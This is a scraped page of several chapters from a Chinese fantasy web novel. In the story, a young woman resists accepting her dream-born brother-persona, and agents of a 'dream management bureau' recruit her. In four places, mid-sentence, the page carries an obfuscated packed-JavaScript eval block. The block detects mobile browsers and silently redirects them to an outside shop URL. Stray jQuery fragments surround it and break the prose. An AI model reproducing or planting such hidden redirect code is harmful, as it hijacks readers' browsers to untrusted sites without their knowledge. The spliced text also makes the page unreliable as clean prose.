;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318249|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为精神病了。我的潜意识会自然而然将原本的幻听当做真实存在的人格，从而加剧我的病情。我才不上当。” 甄令满欲哭无泪：“那你去问问爸爸妈妈甄令满这个名字怎么样？这是他们之前起的儿子的名字，你记忆里也没有，应该能证明我的身份了吧？” 甄令潇坚定摇头：“也许是我某次听到了亲戚曾经提过、又或者我在母亲肚子里就已经有了意识也不尽然。你能够保证甄令满这个名字的真实性，就代表我自己确认过这个名字的真实性并且深信不疑。这样的验证没有准确性。除非你让我见到你说的什么梦境世界。” “可是我现在根本没有觉醒……” 他们之所以能够争论如此长的时间便是因为这个死循环。 甄令满需要甄令潇对自己认可与接纳，从而觉醒个人梦境获得更多的力量。而甄令潇则是需要甄令满展现出足够的力量才会相信梦境世界的存在。但甄令满本来就是因为能量不足才会主动出击希望对方能够尽快觉醒。 “那就更免谈了。”甄令潇主动结束了二人之间的争论，并以她的大获全胜告终。 至此之后她便将自己头脑里出现的声音当做了自己的幻听，并一边继续上学一边考虑对策。甚至开始查询相关资料想要为自己预约一个心理咨询。 一段时间的相处让甄令潇意识到了自己和完全不长脑子的甄令满之间的不同，使得她不由自主对自己生出了更多疑惑。 这样愚蠢的家伙到底代表着我的哪一次创伤还是我的什么欲望？难道我已经开始渴望不带大脑的生活了吗？ 她情不自禁为自己的想象打了个寒颤，没有理会甄令满因为她的嫌弃开始大喊大叫的抗议声。 与她心意相通的恶魔能够感知到她的想法与欲望，自然也就顺理成章知晓了她的态度正在开始动摇。他们在某些方面的观念分外契合，聊到自己感兴趣的话题甚至能够不休不止讨论下去。甄令满与她有着相似的不服输与执拗、刻在骨里的骄傲。这使得即便知晓情况正在恶化，甄令满也绝不低声下气向甄令潇祈求。 于此同时，甄令满拥有她所欠缺的一切活力。经常因为能量耗尽开始疲惫到动弹不得的甄令潇从来没有见过甄令满低落疲惫的状态。就算是陪她上了一天听不懂的天书课程，他也依旧能够在快要结束时突然打起精神，叫嚷着赶紧去吃一顿好吃的补充学习所消耗掉的能量。 他对运动与武术可谓是无一不精，好像只要是使用身体的项目便都是他擅长的领域。他按照她的审美与理解力热情地向她解说了一场比赛，甚至第一次磨着甄令潇在学校的篮球场里多停留一会儿，让他能够看到学校之间的比赛这一局的结局。 他们用同一双眼睛目睹着同一场比赛。和那些热血飞扬的身影。 用同一具无法动弹缺少能量的身体，向那些人投向了连自己都没有觉察到的艳羡。 103. 102 甄令潇学业的繁忙导致她在短时间内没能找到时间去进行心理诊断。她被甄令满出现耽搁下来的学习进度需要她加班加点补习回来，没能按照计划实施的课程表难得让她感到了几分焦躁。患有强迫症的完美主义者只能先暂时将没有引起什么大问题的第二人格放在了一边，全心全意投入到了学习与研究之中。 她甚至还为自己准备了几本与文学相关的资料，怀疑甄令满能够自圆其说逻辑通顺的幻想可能意味着自己也算是想象力丰富，说不定还有什么文学方面的天赋。 她一心二用，听课的同时又为自己增添了几个学习计划，力求能够将在甄令满身上浪费掉的时间从别的方面补回来。 “我才没有浪费你的时间！成为御梦者的好处可多了！”甄令满立刻反驳道。 正巧这时下课铃声按时响起，教室中的同学们开始收拾文具准备离开教室。甄令潇没有理会自己的幻听，用最不消耗体力的速度不紧不慢走到了教室门口。她正想着下午的学习计划，因此心不在焉没有过多留意周围的情况，只是低着头好让自己能够顺利避开沿路上的所有障碍。 她先天便精力不足，日常生活中为了能够多留出些能量与精力用在自己感兴趣的研究上，不得不将每一分精力都花在刀刃上。不论是赶路途中发生的种种事情还是陌生人的面庞，她都不希望这些无关紧要的东西占据自己的脑容量。 只是这一次她被人拦住了去路。 “不好意思打扰了，你就是甄令潇小姐吧？请问能占用你些许时间吗？” 陌生的女声用姓名拉回了甄令潇的注意力。对方带着肯定的语气中包含着自信与难言的底气，使得即便应当算作疑问句的请求也失去了那份矜持与小心翼翼。但好在发言维持了全部的礼貌，再加上刻意携带了几分温柔的嗓音，使得这面对初遇之人的邀请并没有显得不知礼数咄咄逼人。 以甄令潇的敏锐程度，自然迅速推断出了找上门来的客人一定认识自己。她生出了几分好奇，于是不再犹豫，顺着声音抬起了自己的头。 她看到了一张不知为何分外熟悉的脸庞。窗外的阳光透过走廊投射在这位来客身上，使得对方浑身的轮廓仿佛被镀上了一层金边。当她抬起头望向对方时，便看到了阳光正在向自己耀武扬威，骄傲地展示着自己足以与对方相配。 甄令潇只觉得自己像是落入了一个陷阱。因为有让她第一时间便有些难以拒绝的存在，牵引着她想要进一步靠近。 “哇！”没头脑的甄令满还在另一边感叹，“哇……嗯，她看上去，呃，好厉害？” 没文化的家伙显然也想不到什么好词来形容自己的感受。 有了所谓第二人格直抒胸臆的捧场，甄令潇恨不得以头抢地。因为她以前从来不知道自己竟然这么肤浅，连别人的脸都没看清就生出了好感。 甄令潇不敢细看来者的脸，怕自己彻底中计。于是只能视线下移看了眼正在对着自己微笑的小女孩。对方过于平和且友好的态度感染了甄令潇，使得她刚刚生出的惊疑情绪消散了不少。 她斟酌着自己的言语：“好的……但请问你是？” 凌霄冲着她温和一笑：“我是杜凌霄。我旁边这位是李兰溪。” 李兰溪配合地点了点头。进了学校开始执行任务以后她就收起了自己多余的情绪，年级尚小但表情却毫无起伏，甚至称得上有些严肃。 有了甄令潇的配合，她们很快就来到了学校附近的咖啡馆中。梦境力量形成的结界能够隔绝外界，因此凌霄并不需要再额外寻找适合的交谈场所。她回忆了一下甄令潇的喜好，为对方点了一杯口味偏甜的咖啡。随后在李兰溪极为克制的期待里，为她选了她最喜欢的果汁。 想要在新人面前表现自己靠谱一面的李兰溪自然不会主动选饮料，一板一眼坐在凌霄的左边。只有望着服务员的眼神藏了一丁点的热切。 “我想你的时间也很宝贵，所以我就开门见山了。”凌霄将自己与李兰溪的证件推给了甄令潇，“我与兰溪都是梦境管理局的工作人员，今天找到你，是想要与你商谈有关御梦者的事情。我们调查到你是一位正在觉醒中的御梦者。” 熟悉的字眼让甄令潇眉心一跳。她拿过凌霄向自己展示的证件，发现纸质的证书底色正闪烁着波光粼粼的水光。而证件照上正望着镜头的杜凌霄冲着自己眨了眨眼睛。 甄令潇手一抖，差点没有把证件给扔出去。 她移开视线看向属于李兰溪的那一份，果然也见到了相似的情况。超出常理的一幕被甄令潇当做了自己的精神问题，她刻意屏蔽了甄令满高兴的声音，闭上眼睛希望这一切都是幻觉。 当她再次睁开眼睛，梦境管理局的证书上跃起了几条锦鲤。色彩鲜艳的锦鲤摆动着自己的尾巴，钻入水中又消失不见。 等到甄令潇暂时回复了正常思考能力，凌霄才继续解释道：“你所看到的幻想便是梦境力量的一种体现，与我们所生活的现实世界是两种截然不同的存在。而你有潜力获得掌控梦境力量的权限。” 凌霄看了眼李兰溪，于是女孩向她点了点头，抬手轻轻敲了敲桌子。 霎时，甄令潇感觉到属于自己的某种东西在虚空之中轻鸣，甄令满也开始大吵大闹：“这个小女孩怎么这么讨厌！干嘛要晃我！” “兰溪刚才通过梦境力量轻轻触碰到了你正在觉醒中的个人梦境。这是属于你自身的一部分。”凌霄将早就准备好的介绍信息文件交给了甄令潇，“你应该能够察觉到它们正在觉醒。” 觉醒后御梦者的个人梦境完全在自己的掌控之中，并被层层叠叠的梦境力量所包裹起来，十分安全。但尚未觉醒者的个人梦境十分脆弱，各种能量混合正在逐步被主人发觉并控制。任何风浪都可能造成不必要的损失。就算是经验丰富的凌霄都不敢轻易触碰未觉醒者的个人梦境。因为她本就以破坏能力著称，掌握着几乎可以说是用之不竭的梦境力量，十分害怕自己一不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336316|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心就会对正在觉醒中的御梦者造成伤害。 同样处在觉醒中的李兰溪便没有这种担忧了。她个人梦境的强度与对方相差不多，再加上依靠了自己与甄令潇同时接触的桌子作为媒介触碰，更能够保证引发对方个人梦境轻微动荡的能量万无一失。 甄令潇一目十行，迅速看完了凌霄提供给自己简单易懂的各种基础知识。但她脑海中的疑问却并没有得到解答。 她翻到资料其中一页，指着上面的文字问道：“但我并不符合里面提到的觉醒中个人梦境的状况。我既没有遇到完全能够受我控制的梦境，也没有遇到梦境变为现实的情况。”有专业人士在眼前，加上了大概理解了凌霄证件上猎梦者的职能与警察类似，于是秉持着合理运用资源的想法，她继续提问道：“我遇到的只有一个不知真假的幻听。他连改变现实中的微小物件都做不到。” “我才不是幻听！”甄令满抗议道，“我说了那么多遍御梦者的事情，嘴皮子都要磨破了你都不相信我，怎么她们一出现你就动摇了！你这是重色轻哥哥！” 胡说，我连她长什么样子都没看清。 甄令潇在内心反驳。 “这份文件是面向新人最基础的资料，所以自然还有一些极为特殊的情况没有被收录在内。当然，我们找到你自然是因为在你身边检测到了正在成长中的个人梦境，因此你毫无疑问是未觉醒御梦者。”凌霄一听到幻听，就开始猜测这个平行世界甄令满也依旧存在，于是引导着开口，“也有一些个人梦境居民掌握了大部分梦境力量的情况，它们是被御梦者赋予灵魂的个体。” “这个人自称是我的哥哥甄令满。”甄令潇也犹豫过是否需要向着陌生人全盘托出自己目前的情况。但是李兰溪为自己带来的虚空震荡让她冥冥之中抓住了一丝无法言说的感触，使得有一刹那她感受到了自己身体中的某种物质正在茁壮成长。 她怀疑过是不是自己身上的幻听已经发展到幻视的情况，但将她们这片地方视若无物的旁人以及玻璃窗上锦鲤的倒影让一切变得扑朔迷离起来。凌霄口中个人梦境的震荡让她头脑一轻，不知从何处溢出来的能量补足了她在课堂上消耗掉的脑力值，甚至让她能够有力气改正了一下自己的坐姿。 前所未有充满了力量的身体让甄令潇的心中生出了渴望，她再三犹豫，最终还是决定赌一把自己现在轻松的身体并不是幻觉。 超出自己能力的事情还是要依靠专业人士来为自己解答。 甄令满的语气变得欢快起来：“你终于要相信御梦者存在了吧！你也看到那些描写的能力了！快点觉醒以后你也就可以了！” “他也和我说明了与御梦者和个人梦境相关的事情。但是他说只有我承认他才能彻底觉醒，甚至还会时不时冒出与我抢夺身体的念头。” 甄令潇小心翼翼盯着凌霄交叠在桌上的手。 “他是不是别的御梦者派来害我的梦境居民？” 甄令满：…… 104. 103 “你竟然相信了御梦者的存在都不相信我是你的哥哥！”甄令满加大了自己的音量试图表达自己现在糟糕的心情，“我怎么可能是害你的！” 也对，你不像是有这个头脑的样子。所以最有可能是别人派来忽悠我让我放松警惕的。 甄令潇坚持己见。 已经大致猜到她身上情况的凌霄在言语中引导着甄令潇的思考方向：“可能性不大。因为我并没有在你身上感知到旁人的梦境气息，反而只有属于你自己的梦境力量。和自己的梦境居民产生分歧倒是少见……这样吧，不如让他亲自说明一下情况？” 凌霄抬手，在自己的手掌中心凝聚出了金色的梦境力量，随着她的调动逐渐凝聚出严实的火焰。金光熊熊燃烧以至于使得周围的空气都产生了细微的震动。凌霄合掌捏碎了火焰，于是从她指缝之间零落的点点剑光开始朝着甄令潇身旁飘荡而去。 第一次在现实中见识这样奇幻场景的甄令潇几乎可以说是目不转睛，试图分析金光中的能量究竟由何构成。甚至大胆地伸出了自己的手，试图触碰凭空出现的这些光辉。 零落的星光很快就被甄令潇身旁的空余所吸引。她听到了甄令满一声惊疑不定的感叹，还未推断出到底发生了什么，就看见自己身旁原本空荡荡的椅子上，正逐渐由金光构筑出一个虚幻的人影。 人形框架被搭建好之后，吸纳金光填充虚影的速度便徒然加快。眨眼之间，便有一个样貌熟悉的年轻男子出现在了甄令潇的身边。对方的轮廓还泛着些许没有被吸纳完全的金光，看上去既梦幻又奇异。 这一手大变活人的能力确实足以让刚刚接触到御梦者概念的甄令潇惊讶，然而还有人比她这个亲眼目睹了现实世界改变的人更惊讶。 甄令满慌张地用依然带着金光的手摸向自己的脸：“啊？啊！啊？” “不是，我就这样出现在现实世界之中了？”甄令满的小动作毫不停歇。一会儿扯了扯自己的脸，一会儿疑惑地拽了拽自己身上与甄令潇款式相仿的简单衬衫。最后他惊疑不定打量着甄令潇的脸，总算接受了这个现实：“我竟然真的出来了！” 下一秒他就挺起了身子，语气欢快地看向了凌霄：“杜、杜小姐，你也太厉害了吧！” 凌霄轻描淡写喝了一口自己的咖啡，为自己面前的两个人解释了一番：“我用自己的梦境力量将甄小姐你身上活跃的片段投影在了现实世界。因此我可以肯定你与这位先生之间的联系为真，他确确实实属于你的个人梦境。” “我就说吧！”甄令满立刻被凌霄的话语转移了注意力，没能注意到李兰溪也同自己一样正在用敬仰的目光凝望着凌霄，“我和你就是一体的！” 凌霄的话语打破了甄令潇最后的希望，她不情不愿转过头来，准备好好看看这个自己日后可能真的甩不掉的包袱到底有着怎样的长相。 这是她第一次见到甄令满的模样。 与她想象中四肢发达头脑简单的狰狞壮汉形象截然不同。正在向她炫耀自己正确的甄令满有着与她过分相似的面容。出现在现实世界的魅力对这位年轻男性来说实在是过于巨大，以至于甄令潇对上了一张神采飞扬，满脸都写着精神奕奕开朗快活的脸盘。 不知是甄令满与她长相方面的共同点实在是太过显著，还是她被凭空出现在自己身边的人影惊扰了心神。甄令潇第一眼仿佛只看到了正在咧嘴大笑高兴地不能自已的自己。她立刻打了个寒颤，为自己的有端联想感到了难言的恐惧。 她向来精力不足总是一副阴气沉沉疲惫不堪的模样。就算是父母寻访走遍各大医院，自己也耗费大量时间学习医学，依旧没能找到自己身上的漏洞。最终她只能解释为这是先天的精力不足，后天再多的努力也于事无补。 所以甄令潇从出生起便和一切运动相关的事情无缘。她没有力气活蹦乱跳享受运动，也没有力气维持一整天正常的精神状态，甚至连开怀大笑牵动嘴角对她来说都是难以完成的门槛。 由李兰溪造成个人梦境触动从而带来的能量再次消耗见底，甄令潇能够感觉到自己的肩膀都塌下去了几分。但此时此刻她眼前却出现了一个活气四射刺眼无比的自己，这让她如何能够心平气和分析甄令满与自己之间的关联。 他的张扬的笑容落在甄令潇眼中便成为了讽刺。讽刺她无论如何努力也做不到成为这样毫无阴霾乐观向上积极开朗的性格。多年以来的精力不足让她无暇顾及这些可能会耗费自己能量的小事，养成的习惯也使得她的表情越来越稀少，更加失去了活力。恶性循环在她身上不断上演，使得她就像是早早迈入了既定死亡命运的枯树，半死不活支撑着自己的枝干。虽然没有彻底死亡，但也到底没有办法再长出任何一片新叶。 甄令潇拥有过于聪颖的头脑。 所以她从一开始就明白了事情的核心。 她知道甄令满没有能力欺骗自己，而凌霄向自己说明的道理全部都是真实。 但她依旧固执己见质疑着甄令满的存在。好像只要不承认，她就能避免直面自己的内心，避免接受对活力的向往，避免承认自己一直以来努力到最后的不甘心。 避免接受自己的渴望。 她已经面对毫无希望的未来二十多年，早就接受了自己疲惫的身体与灵魂，早就已经不奢望自己能够用另外一种轻松的方式俯视这个世界。 她有着聪颖的头脑、坚定不移的决心和别人望尘莫及的执行能力。三者合一所造成的效果便是她在自己的领域里几乎无所不能。她沿着自己所制定的计划一步一步向前迈进，于是看上去遥不可及的未来也就能够因此落入她的手掌。 她当然有这样优秀的能力。 所以无法长时间动脑也没有什么大不了，所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13348625|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法运动也没有什么大不了。所以从没有参加过任何集体活动也没有什么大不了。她的才华能让所有人忽视她的缺点，那么也就代表着她没有缺点。 只要无视就可以了。 不听、不想、不念。 那些选择就自然不会出现在她的眼前。她就依然是自己世界的掌控者。依然坚定不移，无懈可击。 所以，甄令满才不是自己的一部分，才不是自己的哥哥，才不是诞生于自己欲望的存在。 “不。”甄令潇望着熟悉的面孔，冷然拒绝道，“我们才不是一体的。” 她必须接受现实，必须接受自己的不足，必须摒弃无法实现的愿望。 她没有时间没有精力去受伤。她不能受伤。 “哈？！你在说什么鬼话！”本就脾气暴躁的甄令满感知到了甄令潇的想法，当即气愤地拍上了桌子。他面色烦躁时眉眼上扬，眼瞳里快要燃烧起来的怒火使得他的眼瞳也更加明亮起来。于是这张面孔便与属于甄令潇的面孔拥有了更加明显的区别。 “你是什么胆小鬼！你凭什么不承认我！”甄令满自然不会直接冲着甄令潇动手，只是暴躁地再次握拳锤了一下桌面。梦境结界使得咖啡店里没有任何人察觉到这个角落引起的争执。 而清楚两人之间的矛盾需要他们自己化解的凌霄与李兰溪适时降低了自己的存在感。如果甄令潇的心病得不到解决，那么她成为御梦者的道路也会被她自己亲手断送。梦境力量投影出来的欲望一览无遗，拒绝只会削弱她自己本身具有的能力。 “我明明就是你！是你让我变成了这幅模样来保护你！你凭什么不承认我！”甄令满怒气冲冲的吼道，“你一定要狠心送我去死吗？！” 被欲望的主人所拒绝的话，甄令满的结局不言而喻。 他是最了解她的人，也是属于她的一部分。所以他承载了她所听到的过去，承载了倘若甄令潇以一个正常人诞生的最初期许。他清楚她的渴望与不甘，所以他努力吸收着梦境力量，蛰伏着想要成长。他亲手削掉了甄令潇所厌倦的一切缺点，日夜毫不间断的努力吞噬力量，让自己不够成熟的皮囊一次次被能量撑破，一次次体会重塑的痛苦。 他选择了她最渴望看到也是最无法实现的另一种模样。 然后，他以为自己等到了最好的时机。 “甄令潇，你看看这张脸！你仔细看啊！”甄令满指着自己在暴走边缘的面孔，“我已经按照你最想要达成的目标来塑造了！你还是不满意吗！就算我落到什么结局你都不在意，但你知道这样做的代价吗！” 怒气彻底点燃了他的面庞，使得甄令潇第一次见识到自己这张脸怒发冲冠的模样。 在过去，她连生气都没有力气。更别提大喊大嚷了。 “就算你可能无法觉醒成为御梦者，你也要拒绝承认我的存在吗！” 105. 104 凌霄适时插入了互不相让两者之间的对话：“甄小姐刚才翻阅的资料已经做出了介绍，梦境世界本就是现实世界中欲望的倒影与投射，个人梦境才因此与其主人紧密相连。只有能够成功掌控自己的个人梦境，也就是自己欲望的人才能觉醒成为御梦者，拥有能够自由穿梭于梦境和现实的力量。” 她尽职尽责做出了详细的解释，但并没有像甄令满那样指责甄令潇的选择：“如果想要成长为一位合格的御梦者，甄小姐便自然而然需要妥善面对自己的欲望。当然，如果你对此无意的话，按照自己的意愿否定也并无不可。” “怎么可以！”甄令满立刻反驳道。他原本见凌霄站出来科普现状说了几句公道话，还以为凌霄是在帮助自己，于是将期待的目光投射了过去。却没想到最终凌霄还是说出了尊重甄令潇意愿的台词，感觉自己的信任被辜负的甄令满语气里还夹杂了几分委屈。 凌霄不是第一次见这对双胞胎出现如此重大的意见分歧，因此完全没有将两人之间暂时的矛盾放在心上。她很清楚这是甄令潇需要自己去解决的问题，自己在此刻无论是站在谁的那边贬低了另外一方，都可能会被算成是对甄令潇的贬低。就算甄令满好忽悠记性也不太好，甄令潇的头脑却不是吃素的。 所以她也没有在意甄令满的情绪，只是抬手拍了拍李兰溪的肩膀示意对方自己完全不在意，口中则是继续解说道：“顺带一提，成为御梦者的好处并不只有书面文字上的那些有些花里胡哨的能力。梦境力量还能够悄无声息滋润身体，从而达到强身健体心神清明之类的效果。” 精力不济的甄令潇确实没有办法拒绝对身体的加成。一见到她若有所思的表情，凌霄就猜到了甄令满绝对没有向甄令潇解释过这件事情。 她眼神复杂地看向甄令满：“你难道没有向甄小姐解释过你能对她造成的增幅吗？” 甄令满与甄令潇心意相通，自然能够感受到她的动摇。一直认为自己所作所为十分完美只是败在了甄令潇唯物主义思想上的他分外委屈：“我当然说了啊！我让她把身体控制权交给我但是她不肯啊！由我掌控她在现实世界的躯体造成更加深度的链接以后，就能暂时绕过她的认定让梦境力量覆盖在她身上了！我可是废了好大的劲儿才想到这个好办法的！是她自己根本不同意！” 一直沉默着的李兰溪终于忍不住插话了：“你这最后和什么都没说有什么区别？正常人会同意把身体交给根本不知底细的人吗？” “可是我是她的一部分啊！我怎么会害她呢！”甄令满在固执己见方面与甄令潇不相上下，所以绝对不想承认是自己解释能力不够的原因，这使得他的大脑总算灵光了一瞬息，“而且她连我的存在都不承认，我解释那么多只会被她当成是总结了一堆经验以后得出的忽悠人公式，还不如实际上手以后用事实说话呢。” “事实是你直到我们出现都没能解释好自己的存在。”凌霄无奈地摇了摇头，将目光看回了甄令潇，“他是你个人梦境的一部分，也确实是你欲望的一部分。所以如何安排后续还是要看你的决定了。” 凌霄很清楚甄令潇优秀的头脑最终一定能够想明白问题的关键处，而已经接触到梦境力量的甄令潇也不可能放弃研究神秘力量的好机会。因此她不紧不慢将选择权交给了甄令潇，没有进行任何的言语催促：“梦境管理局欢迎所有拥有能力的御梦者在这里实现自己的价值。但我们并不会做出强迫旁人选择的事情。你的人生自然由你自己来选择。” 她轻轻打了个响指，于是金色的星光在她指尖凝聚成了一张名片。 凌霄将写着自己联系方式的名片推给了甄令潇：“如果你拒绝了成为御梦者也不会有什么大事。到时候自然能够回到自己日常生活且不被打扰。我们是十分民主的官方组织，所以也不存在什么消除记忆之类的操作。这是我的联络方式，欢迎打扰。那么今天的交谈就这么告一段落了，很高兴认识你。” 凌霄的脸上浮现出了恰到好处的礼貌微笑：“我留在甄先生身上的梦境力量还有两个小时才会消散，布在桌子附近的结界则是三个小时。剩下的事件就交给你们独处了。” 她冲着二人点了点头当做是道别，随后带着李兰溪毫无留恋走出了咖啡馆。 离开了甄令潇的感知范围，李兰溪立刻带着自己的疑惑发问：“杜队长，我们为什么不用更强硬的态度告诉甄小姐成为御梦者会更好啊？毕竟我们还需要她个人梦境里面的消息。” “甄令潇就算是遇到与自己心意相通的甄令满都没改变想法，说明她所纠结的根本不是御梦者的问题。”凌霄耐心地回答道，“她大概只会相信自己推断出来的事情，我们这边的态度过于殷勤可能会适得其反，让她产生不必要的警惕。不过最后她肯定还是会妥协的，毕竟她拒绝不了直接作用在现实身体上的提升。” 李兰溪认真的地点了点头：“我知道了……你要和我一起回去吗？” 由于最后的问题带上了些许私心，所以她难免有些吞吞吐吐。忙于执行任务的杜队长经常神龙不见首尾，她想要把相处时间再延长些许当然不是她的问题。 “我等会儿还有事，就在这里分开吧。”凌霄将李兰溪送上了车，顺带摸了摸她的头。 严肃着脸绝对不要透露任何不舍表情的李兰溪最终还是破功了，没有忍住红了脸颊。她皱起眉头摸了摸自己的脸，最后抬手与凌霄道了别。 管理局的车子一走，凌霄身前便又开来了一辆较为低调的黑车。她拉开车门上了后座，第一眼就看到了自己所需要的资料。于是关车门坐下翻资料的动作一气呵成。 “刚才是兰溪？”江云章的声音从驾驶座上传了过来，“这里的她过得怎么样？” 凌霄正在一页一页认真检查资料，闻言随口回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368190|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应道：“像以前一样很有精神也很认真。她身上的问题杜队长和叶医生早就已经考虑好了解决方案，只是她年岁尚小，杜队长和桃正谦都不放心让她过早接触危险事情。所以暂时只是以调养为主。” “那我就放心了。”江云章松了口气，踩下油门，按下方向盘上的按键，“我还想着实在不行，就走研究所的关系，让我母亲接手她试一试呢。” 梦境力量开始在车内运转，很快就形成了密不透风的结界，让车内的所有消息都牢牢锁在了内里。 江云章略过了李兰溪的话题，回到了他们目前最关心的主要问题。在询问之前他决定先汇总一下自己被交付的任务：“我通过林云章的记忆再次调查了一遍这个世界的刘应水，并没有发现什么严重的品德问题或者是颠覆人性的恶劣实验。我甚至还比对了刀赤城江云章的记忆，发现他算是难得安分的刘应水了。” 凌霄翻过一页自己手里的调查资料：“毕竟梦境世界带来的欲望投影已经足够刘应水不休不止研究了。能够在梦境世界完成的课题他也自然不需要再现实世界里实现。” 由于这一次暂时与刘应水成为了同盟，凌霄并不放心自己熟悉的敌人，让江云章多方位考察了一遍平行世界刘应水的为人，用来确定这个交易的安全性。刘应水在最后关头突然改变想法反水的事情也并不是不存在，凌霄认为谨慎一些绝对没有错误。 梦境世界为刘应水的好奇心提供了许多便利，轻轻松松就能够实现许多超乎想象的事情。也使得在平行世界里作恶多端的刘应水在此地只想安心做实验，几乎完全将自己困在了梦境世界中，没有时间和精力在现实世界里为非作歹。 “总之，我们目前的合作还算靠谱。”江云章毫不犹豫卖了自己的同位体，“林云章遵从他上司的指令，比较安分，也没有对我调查刘应水的举动有异议。研究所的人手也都拨给了我。除了我母亲的项目组正在进行自主研究之外，都能够由我调配。” “那么暂时就能将变为梦境居民的刘应水的危险程度降低了。”凌霄已经翻阅完了写着刘应水生平总结的文字资料，于是合上了页面，“不过梦境世界的不确定性到底还是太多了。如果‘漂流’有任何异动，或者对现实世界的人造成了任何伤害……” 凌霄背靠着黑色的座椅抬头，正对上了后视镜中江云章的眼睛。 这双黑色的眼眸已经暂时失去了平日里注视她时的温情脉脉与敬仰，变成了陌生与打量。 这是属于林云章的眼睛。 属于刘应水下属、为了研究能够付出一切、缺少情感的眼睛。 他正在衡量可能对自己造成威胁的存在。 “那么我不介意在离开前为这个世界除掉一个潜在的威胁。” 凌霄好整以暇开口说道。 “放心，杜队长与我心有灵犀，早就已经同意了我的安排。” 106. 105 后视镜中的林云章轻轻眨眼，再次抬头与凌霄对视时早已经换做了熟悉的亲近与柔情：“他默认了。” 显然，林云章不愿意为一定板上钉钉的事情多费口舌，只是用沉默来表达自己的态度。 逼着林云章强行表态的江云章并没有什么出卖同位体的自觉，靠在方向盘上打量着车窗外的景色。早在发动能力用梦境力量步下结界之后，他便开着车直接从现实世界闯入了无主的梦境之中，任凭车辆在梦幻的色彩中漂浮。 这个世界的能力体系过于强大，在不能保障自己能力熟练度的情况下，面对可能暴露自己与凌霄真实情况的交谈，他自然要拿出最为保险的双重手段来隔绝所有人的感知。 “有你在我还是很放心的。”凌霄信任已经和许多个云章相处过的江云章已经能够妥善处理好与同位体之间的关系，随后将话题转回了目前最为关键的任务，“目前我们还缺刘应水的最后一片碎片，甄令潇身上发生的事情倒是让我觉得它很有可能就在她周边。” 江云章的语气立刻变得认真起来：“你发现了什么线索吗？” 凌霄摇了摇头：“只是一种难以形容的直觉罢了。甄令满的性格确实有缺陷，易怒冲动，不爱动脑。可他再怎么不靠谱，遇到甄令潇的事情也会开始精打细算，为自己的另一半铺路。” 凌霄望着车窗外星星点点的光芒，只觉得自己此刻像是正翱翔在宇宙之中。她心念一动撤下了禁锢着自己视野的车窗，将车辆彻底变做了隐形载具，近距离欣赏着近在咫尺的宇宙星空。 不过她也并没有忘记继续解释自己的猜想。 “我们曾在魂书族遇到的这对双胞胎的另一种情况不就正是如此？甄令满只是大部分时间不喜欢动脑子，并不是完全没有脑子。他甚至可以用自己的暴脾气将谋划在甄令潇眼前糊弄过去，为了甄令潇的未来他什么都愿意去做，何况仅仅只是动脑？” “然而我刚才接见的甄令满实在是违和感满满。”凌霄回忆着借自己的力量幻化而出的人形幻象，情不自禁皱起了眉头，“他花了很长一段时间都没能让甄令潇打消疑惑相信他的存在。倘若甄令潇觉醒成为御梦者，就自然而然不会再有精力不足的情况，在这个世界作为甄令潇欲望投影的甄令满只可能更为对方考虑，费尽千辛万苦也要让甄令潇如愿以偿摆脱过去的问题，拥有健康而完美的身体。他怎么可能解释不好御梦者的优势？” 凌霄越是细思越是感到厚重的违和感。就仿佛有不知名的存在加重了甄令满性格中的不爱思考，使得甄令满从一个不喜欢运用头脑的人变成了完全不会动脑的人。甚至无法说服与自己心意相通的甄令潇。 “甄令潇自己身上的违和也不少见。她那样聪明的头脑和高傲的性格，怎么可能过了许久仍然抓不到甄令满言语中的漏洞，反而自己和自己的欲望斗争上了。她确实早就已经接受现实，向来以不喜欢过多运动示人，可也没有证据说她是完全放弃。在有些高科技的情况下她甚至能够研究出依靠脑电波来控制移动的代步工具，没有人敢小看无法轻松移动自己身体的甄令潇。” 